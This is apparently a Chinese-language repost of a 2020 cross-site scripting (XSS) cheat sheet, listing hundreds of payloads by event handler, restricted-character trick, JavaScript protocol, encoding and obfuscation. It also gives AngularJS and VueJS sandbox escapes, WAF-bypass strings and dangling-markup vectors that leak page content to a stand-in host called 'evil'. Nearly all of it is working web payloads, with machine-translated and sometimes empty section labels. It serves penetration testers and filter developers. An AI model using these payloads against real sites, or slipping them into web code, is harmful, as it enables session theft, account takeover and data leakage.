2020跨站点脚本[xss]速查表     返回雨苁首页

此跨站点脚本(XSS)备忘单包含许多向量,可以帮助您绕过WAF和过滤器。您可以通过事件,标签或浏览器选择向量,每个向量都包含概念证明。该备忘单会在2020年进行定期更新。最近更新:2020年6月4日,星期四08:57:33 +0000。

你可以在这里 下载2020跨站点脚本[xss]速查表pdf文件

目录
事件处理程序
    无需用户互动
    需要用户互动
限制字元
构架
通讯协定
其他有用的属性
特殊标签
编码方式
混淆
客户端模板注入
    VueJS反映
    AngularJS沙箱逃逸反映
    AngularJS沙箱转义DOM
    AngularJS CSP绕过
无脚本攻击
多重发光
WAF绕过全局对象
不可能的实验室
经典向量(XSS加密)

事件处理程序

不需要用户交互的事件处理程序

事件:

描述:

标签:

代码:

复制:

激活

激活元素时触发

<xmp id=x tabindex=1 onactivate=alert(1)></xmp>

兼容性:

打印后

页面打印后触发

<body onafterprint=alert(1)>

兼容性:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes not work in Safari
执行脚本后

执行脚本后触发

<xss onafterscriptexecute=alert(1)><script>1</script>

兼容性:

Does not work in ChromeDoes work in FirefoxDoes not work in EdgeDoes not work in Safari
动画取消

CSS动画取消时触发

<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><xss id=x style="position:absolute;" onanimationcancel="alert(1)"></xss>

兼容性:

Does not work in ChromeDoes work in FirefoxDoes not work in EdgeDoes not work in Safari
动画结束

CSS动画结束时触发

<style>@keyframes x{}</style><xss style="animation-name:x" onanimationend="alert(1)"></xss>

兼容性:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
动画迭代

重复CSS动画时触发

<style>@keyframes slidein {}</style><xss style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></xss>

兼容性:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
动画开始

CSS动画开始时触发

<style>@keyframes x{}</style><xss style="animation-name:x" onanimationstart="alert(1)"></xss>

兼容性:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
激活前

在激活元素之前触发

<xss id=x tabindex=1 onbeforeactivate=alert(1)></xss>

兼容性:

Does not work in ChromeDoes not work in FirefoxDoes work in EdgeDoes not work in Safari
启用前

在停用元素之前触发

<xss id=x tabindex=1 onbeforedeactivate=alert(1)></xss><input autofocus>

兼容性:

Does not work in ChromeDoes not work in FirefoxDoes work in EdgeDoes not work in Safari
印前

在页面打印前触发

<body onbeforeprint=alert(1)>

兼容性:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes not work in Safari
在执行脚本之前

在执行脚本之前触发

<xss onbeforescriptexecute=alert(1)><script>1</script>

兼容性:

Does not work in ChromeDoes work in FirefoxDoes not work in EdgeDoes not work in Safari
网址更改

网址更改后触发

<body onbeforeunload="location='javascript:alert(1)'">

兼容性:

Does work in ChromeDoes not work in FirefoxDoes not work in EdgeDoes not work in Safari
开始

svg动画开始时触发

<svg><animate onbegin=alert(1) attributeName=x dur=1s>

兼容性:

Does work in ChromeDoes work in FirefoxDoes not work in EdgeDoes work in Safari
onblur

当元素失去焦点时触发

<a onblur=alert(1) tabindex=1 id=x></a><input autofocus>

兼容性:

Does work in ChromeDoes not work in FirefoxDoes work in EdgeDoes work in Safari
onbounce

选框弹跳时触发

<marquee width=1 loop=1 onbounce=alert(1)>XSS</marquee>

兼容性:

Does not work in ChromeDoes work in FirefoxDoes work in EdgeDoes not work in Safari
oncanplay

如果资源可以播放则触发

<audio oncanplay=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>

兼容性:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
oncanplaythrough

加载足够的数据以完全播放资源时触发

<video oncanplaythrough=alert(1)><source src="validvideo.mp4" type="video/mp4"></video>

兼容性:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
停用

停用元素时触发

<xss id=x tabindex=1 ondeactivate=alert(1)></xss><input id=y autofocus>

兼容性:

Does not work in ChromeDoes not work in FirefoxDoes work in EdgeDoes not work in Safari
结束

svg动画结束时触发

<svg><animate onend=alert(1) attributeName=x dur=1s>

兼容性:

Does work in ChromeDoes work in FirefoxDoes not work in EdgeDoes work in Safari
onended
onerror

资源加载失败或导致错误时触发

<audio src/onerror=alert(1)>

兼容性:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
完成时

选框完成时触发

<marquee width=1 loop=1 onfinish=alert(1)>XSS</marquee>

兼容性:

Does not work in ChromeDoes work in FirefoxDoes work in EdgeDoes not work in Safari
onfocus

当元素具有焦点时触发

<a id=x tabindex=1 onfocus=alert(1)></a>

兼容性:

Does work in ChromeDoes not work in FirefoxDoes work in EdgeDoes work in Safari
onfocusin

当元素具有焦点时触发

<a id=x tabindex=1 onfocusin=alert(1)></a>

兼容性:

Does work in ChromeDoes not work in FirefoxDoes work in EdgeDoes work in Safari
聚焦

当元素失去焦点时触发

<a onfocusout=alert(1) tabindex=1 id=x></a><input autofocus>

兼容性:

Does work in ChromeDoes not work in FirefoxDoes work in EdgeDoes work in Safari
hash变化

如果哈希值更改,则触发

<body onhashchange="alert(1)">

兼容性:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
加载

加载元素时触发

<body onload=alert(1)>

兼容性:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
加载的数据

加载第一个frame时触发

<audio onloadeddata=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>

兼容性:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
加载元数据
加载端

当元素完成加载时触发

<image src=validimage.png onloadend=alert(1)>

兼容性:

Does not work in ChromeDoes work in FirefoxDoes not work in EdgeDoes not work in Safari
onloadstart

当元素开始加载时触发

<image src=validimage.png onloadstart=alert(1)>

兼容性:

Does not work in ChromeDoes work in FirefoxDoes not work in EdgeDoes not work in Safari
onmessage

当从postMessage调用接收到消息事件时触发

<body onmessage=alert(1)>

兼容性:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
页面显示

显示页面时触发

<body onpageshow=alert(1)>

兼容性:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
播放中
正在播放
onpopstate

历史记录更改时触发

<body onpopstate=alert(1)>

兼容性:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
就绪状态变更

当就绪状态改变时触发

<applet onreadystatechange=alert(1)></applet>

兼容性:

Does not work in ChromeDoes not work in FirefoxDoes work in EdgeDoes not work in Safari
重复

svg动画重复时触发

<svg><animate onrepeat=alert(1) attributeName=x dur=1s repeatCount=2 />

兼容性:

Does work in ChromeDoes work in FirefoxDoes not work in EdgeDoes work in Safari
调整大小

调整窗口大小时触发

<body onresize="alert(1)">

兼容性:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
滚动
启动时

选框开始时触发

<marquee onstart=alert(1)>XSS</marquee>

兼容性:

Does not work in ChromeDoes work in FirefoxDoes work in EdgeDoes not work in Safari
ontimeupdate
ontoggle

展开详细信息标签时触发

<details ontoggle=alert(1) open>test</details>

兼容性:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
取消过渡

CSS过渡取消时触发

<style>:target {color: red;}</style><xss id=x style="transition:color 10s" ontransitioncancel=alert(1)></xss>

兼容性:

Does not work in ChromeDoes work in FirefoxDoes not work in EdgeDoes not work in Safari
过渡端

CSS过渡结束时触发

<style>:target {color:red;}</style><xss id=x style="transition:color 1s" ontransitionend=alert(1)></xss>

兼容性:

Does work in ChromeDoes not work in FirefoxDoes not work in EdgeDoes not work in Safari
ontransitionrun

CSS过渡开始时触发

<style>:target {transform: rotate(180deg);}</style><xss id=x style="transition:transform 2s" ontransitionrun=alert(1)></xss>

兼容性:

Does not work in ChromeDoes work in FirefoxDoes not work in EdgeDoes not work in Safari
未经处理的拒绝

未履行承诺时触发

<body onunhandledrejection=alert(1)><script>fetch('//xyz')</script>

兼容性:

Does not work in ChromeDoes work in FirefoxDoes not work in EdgeDoes not work in Safari
等待中
网络动画

CSS动画结束时触发

<style>@keyframes x{}</style><xss style="animation-name:x" onwebkitanimationend="alert(1)"></xss>

兼容性:

Does work in ChromeDoes not work in FirefoxDoes work in EdgeDoes work in Safari
onwebkitanimationstart

CSS动画开始时触发

<style>@keyframes x{}</style><xss style="animation-name:x" onwebkitanimationstart="alert(1)"></xss>

兼容性:

Does work in ChromeDoes not work in FirefoxDoes work in EdgeDoes work in Safari
onwebkittransitionend

CSS过渡结束时触发

<style>:target {color:red;}</style><xss id=x style="transition:color 1s" onwebkittransitionend=alert(1)></xss>

兼容性:

Does work in ChromeDoes not work in FirefoxDoes not work in EdgeDoes not work in Safari

需要用户交互的事件处理程序

事件:

描述:

标签:

代码:

复制:

onauxclick

右键单击或使用鼠标中键时触发

<input onauxclick=alert(1)>

兼容性:

Does work in ChromeDoes work in FirefoxDoes not work in EdgeDoes not work in Safari
onbeforecopy

要求您剪切一段文字

<a onbeforecopy="alert(1)" contenteditable>test</a>

兼容性:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
onbeforecut

要求您剪切一段文字

<a onbeforecut="alert(1)" contenteditable>test</a>

兼容性:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
onbeforepaste

需要您粘贴一段文字

<a onbeforepaste="alert(1)" contenteditable>test</a>

兼容性:

Does not work in ChromeDoes not work in FirefoxDoes work in EdgeDoes not work in Safari
onchange

需要作为value的变化

<input onchange=alert(1) value=xss>

兼容性:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
onclick

需要点击一下元素

<xss onclick="alert(1)">test</xss>

兼容性:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
oncontextmenu

右键单击以显示上下文菜单时触发

<xss oncontextmenu="alert(1)">test</xss>

兼容性:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
oncopy

需要您复制一段文字

<xss oncopy=alert(1) value="XSS" autofocus tabindex=1>test

兼容性:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
oncut

要求您剪切一段文字

<xss oncut=alert(1) value="XSS" autofocus tabindex=1>test

兼容性:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
ondblclick

双击元素时触发

<xss ondblclick="alert(1)" autofocus tabindex=1>test</xss>

兼容性:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
ondrag

触发拖动元素

<xss draggable="true" ondrag="alert(1)">test</xss>

兼容性:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
ondragend

触发拖动已在元素上完成

<xss draggable="true" ondragend="alert(1)">test</xss>

兼容性:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
ondragenter

需要鼠标拖动

<xss draggable="true" ondragenter="alert(1)">test</xss>

兼容性:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
ondragleave

需要鼠标拖动

<xss draggable="true" ondragleave="alert(1)">test</xss>

兼容性:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
ondragover

触发拖动元素

<div draggable="true" contenteditable>drag me</div><xss ondragover=alert(1) contenteditable>drop here</xss>

兼容性:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
ondragstart

需要鼠标拖动

<xss draggable="true" ondragstart="alert(1)">test</xss>

兼容性:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
ondrop

触发删除可拖动元素

<div draggable="true" contenteditable>drag me</div><xss ondrop=alert(1) contenteditable>drop here</xss>

兼容性:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
onfullscreenchange

视频更改为全屏状态时触发

<video onfullscreenchange=alert(1) src=validvideo.mp4 controls>

兼容性:

Does not work in ChromeDoes work in FirefoxDoes not work in EdgeDoes not work in Safari
oninput

需要作为value的变化

<input oninput=alert(1) value=xss>

兼容性:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
oninvalid

需要具有不满足其约束的元素(例如必填属性)的表单提交

<form><input oninvalid=alert(1) required><input type=submit>

兼容性:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
onkeydown

按下键时触发

<xss onkeydown="alert(1)" contenteditable>test</xss>

兼容性:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
onkeypress

按下键时触发

<xss onkeypress="alert(1)" contenteditable>test</xss>

兼容性:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
onkeyup

按下键时触发

<xss onkeyup="alert(1)" contenteditable>test</xss>

兼容性:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
onmousedown

释放按键时触发

<xss onmousedown="alert(1)">test</xss>

兼容性:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
onmouseenter

当鼠标悬停在元素上时触发

<xss onmouseenter="alert(1)">test</xss>

兼容性:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
onmouseleave

当鼠标移离元素时触发

<xss onmouseleave="alert(1)">test</xss>

兼容性:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
onmousemove

需要移动鼠标

<xss onmousemove="alert(1)">test</xss>

兼容性:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
onmouseout

当鼠标移离元素时触发

<xss onmouseout="alert(1)">test</xss>

兼容性:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
onmouseover

需要将鼠标悬停在元素上

<xss onmouseover="alert(1)">test</xss>

兼容性:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
onmouseup

释放鼠标按钮时触发

<xss onmouseup="alert(1)">test</xss>

兼容性:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
onmozfullscreenchange

视频更改为全屏状态时触发

<video onmozfullscreenchange=alert(1) src=validvideo.mp4 controls>

兼容性:

Does not work in ChromeDoes work in FirefoxDoes not work in EdgeDoes not work in Safari
onpaste

需要您粘贴一段文字

<a onpaste="alert(1)" contenteditable>test</a>

兼容性:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
onpause
onpointerdown

鼠标按下时触发

<xss onpointerdown=alert(1)>XSS</xss>

兼容性:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
指针输入

当mouseenter触发

<xss onpointerenter=alert(1)>XSS</xss>

兼容性:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
onpointerleave

当鼠标离开时触发

<xss onpointerleave=alert(1)>XSS</xss>

兼容性:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
onpointermove

鼠标移动时触发

<xss onpointermove=alert(1)>XSS</xss>

兼容性:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
onpointerout

鼠标移开时触发

<xss onpointerout=alert(1)>XSS</xss>

兼容性:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
onpointerover

鼠标悬停时触发

<xss onpointerover=alert(1)>XSS</xss>

兼容性:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
onpointerrawupdate

指针更改时触发

<xss onpointerrawupdate=alert(1)>XSS</xss>

兼容性:

Does work in ChromeDoes not work in FirefoxDoes not work in EdgeDoes not work in Safari
onpointerup

鼠标向上时触发

<xss onpointerup=alert(1)>XSS</xss>

兼容性:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
onreset

需要点击

<form onreset=alert(1)><input type=reset>

兼容性:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
onsearch

提交表单并且输入具有搜索的type属性时触发

<form><input type=search onsearch=alert(1) value="Hit return" autofocus>

兼容性:

Does work in ChromeDoes not work in FirefoxDoes not work in EdgeDoes not work in Safari
onseeked
onseeking
onselect

需要您选择文字

<input onselect=alert(1) value="XSS" autofocus>

兼容性:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
onsubmit

需要提交表单

<form onsubmit=alert(1)><input type=submit>

兼容性:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
ontouchend

触摸屏时触发,仅移动设备

<body ontouchend=alert(1)>

兼容性:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
ontouchmove

当触摸屏移动时触发,仅移动设备

<body ontouchmove=alert(1)>

兼容性:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
ontouchstart

触摸屏时触发,仅移动设备

<body ontouchstart=alert(1)>

兼容性:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
onunload

需要在页面上的任意位置单击并重新加载

<svg onunload=window.open('javascript:alert(1)')>

兼容性:

Does work in ChromeDoes not work in FirefoxDoes not work in EdgeDoes not work in Safari
onvolumechange
onwheel

使用鼠标滚轮时触发

<body onwheel=alert(1)>

兼容性:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari

限制字元

没有括号使用异常处理

<script>onerror=alert;throw 1</script>

没有使用异常处理的括号,没有分号

<script>{onerror=alert}throw 1</script>

没有使用括号的异常,没有使用表达式的半冒号

<script>throw onerror=alert,1</script>

使用异常处理和评估没有括号

<script>throw onerror=eval,'=alert\x281\x29'</script>

使用ES6 hasInstance和instanceof与eval时不使用括号

<script>'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}</script>

使用ES6的无括号hasInstance和instanceof以及eval不带。

<script>'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}</script>

使用位置重定向没有括号

<script>location='javascript:alert\x281\x29'</script>

使用位置没有括号重定向没有字符串

<script>location=name</script>

使用模板字符串不加括号

<script>alert`1`</script>

使用模板字符串和位置哈希不加括号

<script>new Function`X${document.location.hash.substr`1`}`</script>

使用模板字符串和位置哈希,没有括号或空格

<script>Function`X${document.location.hash.substr`1`}```</script>

构架

Bootstrap onanimationstart事件

<xss class=progress-bar-animated onanimationstart=alert(1)>

通讯协定

iframe src属性JavaScript协议

<iframe src="javascript:alert(1)">

具有JavaScript协议的对象数据属性

<object data="javascript:alert(1)">

使用JavaScript协议嵌入src属性

<embed src="javascript:alert(1)">

标准的JavaScript协议

<a href="javascript:alert(1)">XSS</a>

该协议不区分大小写

<a href="JaVaScript:alert(1)">XSS</a>

协议之前允许使用字符\ x01- \ x20

<a href=" javascript:alert(1)">XSS</a>

协议中允许使用字符\ x09,\ x0a,\ x0d

<a href="javas cript:alert(1)">XSS</a>

协议名称后在冒号前允许字符\ x09,\ x0a,\ x0d

<a href="javascript :alert(1)">XSS</a>

脚本src中的数据协议

<script src="data:text/javascript,alert(1)"></script>

SVG脚本href属性,无需关闭脚本标签

<svg><script href="data:text/javascript,alert(1)" />

SVG使用元素Chrome / Firefox

<svg><use href="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg' xmlns:xlink='http://www.w3.org/1999/xlink' width='100' height='100'><a xlink:href='javascript:alert(1)'><rect x='0' y='0' width='100' height='100' /></a></svg>#x"></use></svg>

带有数据URL的导入语句

<script>import('data:text/javascript,alert(1)')</script>

具有JavaScript协议的基本标记重写了相对URL

<base href="javascript:/a/-alert(1)///////"><a href=../lol/safari.html>test</a>

MathML使任何标签都可点击

<math><x href="javascript:alert(1)">blah

其他有用的属性

在页面上的任何位置(甚至在表单外部)单击提交元素

<form action="javascript:alert(1)"><input type=submit id=x></form><label for=x>XSS</label>

隐藏的输入:访问键属性可以在通常无法利用的元素上启用XSS

<input type="hidden" accesskey="X" onclick="alert(1)"> (Press ALT+SHIFT+X on Windows) (CTRL+ALT+X on OS X)

链接元素:访问键属性可以在通常无法利用的元素上启用XSS

<link rel="canonical" accesskey="X" onclick="alert(1)" /> (Press ALT+SHIFT+X on Windows) (CTRL+ALT+X on OS X)

下载属性可以保存当前网页的副本

<a href=# download="filename.html">Test</a>

使用Referrerpolicy禁用引荐来源网址

<img referrerpolicy="no-referrer" src="//portswigger-labs.net">

通过<iframe>标记中的name属性设置window.name

<iframe name="alert(1)" src="https://portswigger-labs.net/xss/xss.php?context=js_string_single&x=%27;eval(name)//"></iframe>

通过<base>标记中的target属性设置window.name

<base target="alert(1)"><a href="http://subdomain1.portswigger-labs.net/xss/xss.php?context=js_string_single&x=%27;eval(name)//">XSS via target in base tag</a>

通过<a>标记中的target属性设置window.name

<a target="alert(1)" href="http://subdomain1.portswigger-labs.net/xss/xss.php?context=js_string_single&x=%27;eval(name)//">XSS via target in a tag</a>

通过<img>标记中的usemap属性设置window.name

<img src="validimage.png" width="10" height="10" usemap="#xss"><map name="xss"><area shape="rect" coords="0,0,82,126" target="alert(1)" href="http://subdomain1.portswigger-labs.net/xss/xss.php?context=js_string_single&x=%27;eval(name)//"></map>

通过<form>标记中的target属性设置window.name

<form action="http://subdomain1.portswigger-labs.net/xss/xss.php" target="alert(1)"><input type=hidden name=x value="';eval(name)//"><input type=hidden name=context value=js_string_single><input type="submit" value="XSS via target in a form"></form>

通过<input>标签类型Submit中的formtarget属性设置window.name

<form><input type=hidden name=x value="';eval(name)//"><input type=hidden name=context value=js_string_single><input type="submit" formaction="http://subdomain1.portswigger-labs.net/xss/xss.php" formtarget="alert(1)" value="XSS via formtarget in input type submit"></form>

通过<input>标记类型图像中的formtarget属性设置window.name

<form><input type=hidden name=x value="';eval(name)//"><input type=hidden name=context value=js_string_single><input name=1 type="image" src="validimage.png" formaction="http://subdomain1.portswigger-labs.net/xss/xss.php" formtarget="alert(1)" value="XSS via formtarget in input type image"></form>

特殊标签

UTF-7 BOM字符(必须在文档开头)1

+/v8 +ADw-script+AD4-alert(1)+ADw-/script+AD4-

UTF-7 BOM字符(必须在文档开头)2

+/v9 +ADw-script+AD4-alert(1)+ADw-/script+AD4-

UTF-7 BOM字符(必须在文档开头)3

+/v+ +ADw-script+AD4-alert(1)+ADw-/script+AD4-

UTF-7 BOM字符(必须在文档开头)4

+/v/ +ADw-script+AD4-alert(1)+ADw-/script+AD4-

通过iframe沙箱禁用JavaScript

<iframe sandbox src="//portswigger-labs.net"></iframe>

编码方式

Unicode转义

<script>\u0061lert(1)</script>

Unicode摆脱了ES6风格

<script>\u{61}lert(1)</script>

Unicode转义ES6样式零填充

<script>\u{0000000061}lert(1)</script>

十六进制编码JavaScript转义

<script>eval('\x61lert(1)')</script>

带填充零的十进制编码

<a href="&#0000106avascript:alert(1)">XSS</a>

十六进制编码实体

<a href="&#x6a;avascript:alert(1)">XSS</a>

如果下一个字符不是a-f0-9,则不使用分号的十六进制编码

<a href="j&#x61vascript:alert(1)">XSS</a> <a href="&#x6a avascript:alert(1)">XSS</a> <a href="&#x6a avascript:alert(1)">XSS</a>

带填充零的十六进制编码

<a href="&#x0000006a;avascript:alert(1)">XSS</a>

十六进制编码不区分大小写

<a href="&#X6A;avascript:alert(1)">XSS</a>

混淆

带有base64的脚本src中的数据协议

<script src=data:text/javascript;base64,YWxlcnQoMSk=></script>

脚本src中的数据协议,具有base64和URL编码

<script src=data:text/javascript;base64,%59%57%78%6c%63%6e%51%6f%4d%53%6b%3d></script>

客户端模板注入

Vuejs反映

版:

作者:

长度:

向量:

复制:

所有版本

Mario Heiderich(Cure53)和 Sebastian Lekies(Google) Eduardo Vela Nava(Google) Krzysztof Kotowicz(Google)

62

<div v-html="''.constructor.constructor('alert(1)')()">a</div>

所有版本

Gareth Heyes(PortSwigger)

39

<x v-html=_c.constructor('alert(1)')()>

AngularJS沙箱逃逸反映

版:

作者:

长度:

向量:

复制:

1.0.1-1.1.5(较短)

Gareth Heyes(PortSwigger)和 Lewis Ardern(Synopsys)

33

{{$on.constructor('alert(1)')()}}

1.2.2-1.2.5

Gareth Heyes(PortSwigger)

23

{{{}.")));alert(1)//"}}

1.2.24-1.2.29

Gareth Heyes(PortSwigger)

23

{{{}.")));alert(1)//"}}

1.2.27-1.2.29 / 1.3.0-1.3.20

Gareth Heyes(PortSwigger)

23

{{{}.")));alert(1)//"}}

> = 1.6.0(较短)

Gareth Heyes(PortSwigger)和 Lewis Ardern(Synopsys)

33

{{$on.constructor('alert(1)')()}}

基于DOM的AngularJS沙箱转义

(使用orderBy或不使用$ eval)

版:

作者:

长度:

向量:

复制:

1.2.27-1.2.29 / 1.3.0-1.3.20

Gareth Heyes(PortSwigger)

20

{}.")));alert(1)//";

AngularJS CSP绕过

无脚本攻击

悬挂标记

Img通过src属性传递标记

<img src="//evil? <image src="//evil?

使用轨道元素的视频

<video><track default src="//evil?

使用源元素和src属性的视频

<video><source src="//evil?

使用源元素和src属性的音频

<audio><source src="//evil?

使用src属性的Isindex

<isindex type=image src="//evil?

对象数据

<object data="//evil?

iframe src

<iframe src="//evil?

嵌入src

<embed src="//evil?

使用textarea消费标记并发布到外部站点

<form><button formaction=//evil>XSS</button><textarea name=x>

使用表单目标通过window.name传递标记数据

<button form=x>XSS</button><form id=x action=//evil target='

使用嵌入窗口名称从页面传递数据

<embed src=http://subdomain1.portswigger-labs.net/dangling_markup/name.html name="

多重发光

WAF绕过全局对象

XSS转换为JavaScript字符串:字符串串联(窗口)

';window['ale'+'rt'](window['doc'+'ument']['dom'+'ain']);//

XSS转换为JavaScript字符串:字符串串联(个体)

';self['ale'+'rt'](self['doc'+'ument']['dom'+'ain']);//

XSS转换为JavaScript字符串:字符串串联(this)

';this['ale'+'rt'](this['doc'+'ument']['dom'+'ain']);//

XSS转换为JavaScript字符串:字符串串联(顶部)

';top['ale'+'rt'](top['doc'+'ument']['dom'+'ain']);//

XSS转换为JavaScript字符串:字符串串联(父级)

';parent['ale'+'rt'](parent['doc'+'ument']['dom'+'ain']);//

XSS转换为JavaScript字符串:字符串串联(帧)

';frames['ale'+'rt'](frames['doc'+'ument']['dom'+'ain']);//

XSS转换为JavaScript字符串:字符串串联(globalThis)

';globalThis['ale'+'rt'](globalThis['doc'+'ument']['dom'+'ain']);//

XSS转换为JavaScript字符串:注释语法(窗口)

';window[/*foo*/'alert'/*bar*/](window[/*foo*/'document'/*bar*/]['domain']);//

XSS转换为JavaScript字符串:注释语法(个体)

';self[/*foo*/'alert'/*bar*/](self[/*foo*/'document'/*bar*/]['domain']);//

XSS转换为JavaScript字符串:注释语法(此)

';this[/*foo*/'alert'/*bar*/](this[/*foo*/'document'/*bar*/]['domain']);//

XSS转换为JavaScript字符串:注释语法(顶部)

';top[/*foo*/'alert'/*bar*/](top[/*foo*/'document'/*bar*/]['domain']);//

XSS转换为JavaScript字符串:注释语法(父级)

';parent[/*foo*/'alert'/*bar*/](parent[/*foo*/'document'/*bar*/]['domain']);//

XSS转换为JavaScript字符串:注释语法(框架)

';frames[/*foo*/'alert'/*bar*/](frames[/*foo*/'document'/*bar*/]['domain']);//

XSS转换为JavaScript字符串:注释语法(globalThis)

';globalThis[/*foo*/'alert'/*bar*/](globalThis[/*foo*/'document'/*bar*/]['domain']);//

XSS转换为JavaScript字符串:十六进制转义序列(窗口)

';window['\x61\x6c\x65\x72\x74'](window['\x64\x6f\x63\x75\x6d\x65\x6e\x74']['\x64\x6f\x6d\x61\x69\x6e']);//

XSS转换为JavaScript字符串:十六进制转义序列(个体)

';self['\x61\x6c\x65\x72\x74'](self['\x64\x6f\x63\x75\x6d\x65\x6e\x74']['\x64\x6f\x6d\x61\x69\x6e']);//

XSS转换为JavaScript字符串:十六进制转义序列(此)

';this['\x61\x6c\x65\x72\x74'](this['\x64\x6f\x63\x75\x6d\x65\x6e\x74']['\x64\x6f\x6d\x61\x69\x6e']);//

XSS转换为JavaScript字符串:十六进制转义序列(顶部)

';top['\x61\x6c\x65\x72\x74'](top['\x64\x6f\x63\x75\x6d\x65\x6e\x74']['\x64\x6f\x6d\x61\x69\x6e']);//

XSS转换为JavaScript字符串:十六进制转义序列(父级)

';parent['\x61\x6c\x65\x72\x74'](parent['\x64\x6f\x63\x75\x6d\x65\x6e\x74']['\x64\x6f\x6d\x61\x69\x6e']);//

XSS转换为JavaScript字符串:十六进制转义序列(帧)

';frames['\x61\x6c\x65\x72\x74'](frames['\x64\x6f\x63\x75\x6d\x65\x6e\x74']['\x64\x6f\x6d\x61\x69\x6e']);//

XSS转换为JavaScript字符串:十六进制转义序列(globalThis)

';globalThis['\x61\x6c\x65\x72\x74'](globalThis['\x64\x6f\x63\x75\x6d\x65\x6e\x74']['\x64\x6f\x6d\x61\x69\x6e']);//

XSS转换为JavaScript字符串:十六进制转义序列和base64编码的字符串(窗口)

';window['\x65\x76\x61\x6c']('window["\x61\x6c\x65\x72\x74"](window["\x61\x74\x6f\x62"]("WFNT"))');//

XSS转换为JavaScript字符串:十六进制转义序列和base64编码的字符串(自身)

';self['\x65\x76\x61\x6c']('self["\x61\x6c\x65\x72\x74"](self["\x61\x74\x6f\x62"]("WFNT"))');//

XSS转换为JavaScript字符串:十六进制转义序列和base64编码的字符串(此)

';this['\x65\x76\x61\x6c']('this["\x61\x6c\x65\x72\x74"](this["\x61\x74\x6f\x62"]("WFNT"))');//

XSS转换为JavaScript字符串:十六进制转义序列和base64编码的字符串(顶部)

';top['\x65\x76\x61\x6c']('top["\x61\x6c\x65\x72\x74"](top["\x61\x74\x6f\x62"]("WFNT"))');//

XSS转换为JavaScript字符串:十六进制转义序列和base64编码的字符串(父级)

';parent['\x65\x76\x61\x6c']('parent["\x61\x6c\x65\x72\x74"](parent["\x61\x74\x6f\x62"]("WFNT"))');//

XSS转换为JavaScript字符串:十六进制转义序列和base64编码的字符串(帧)

';frames['\x65\x76\x61\x6c']('frames["\x61\x6c\x65\x72\x74"](frames["\x61\x74\x6f\x62"]("WFNT"))');//

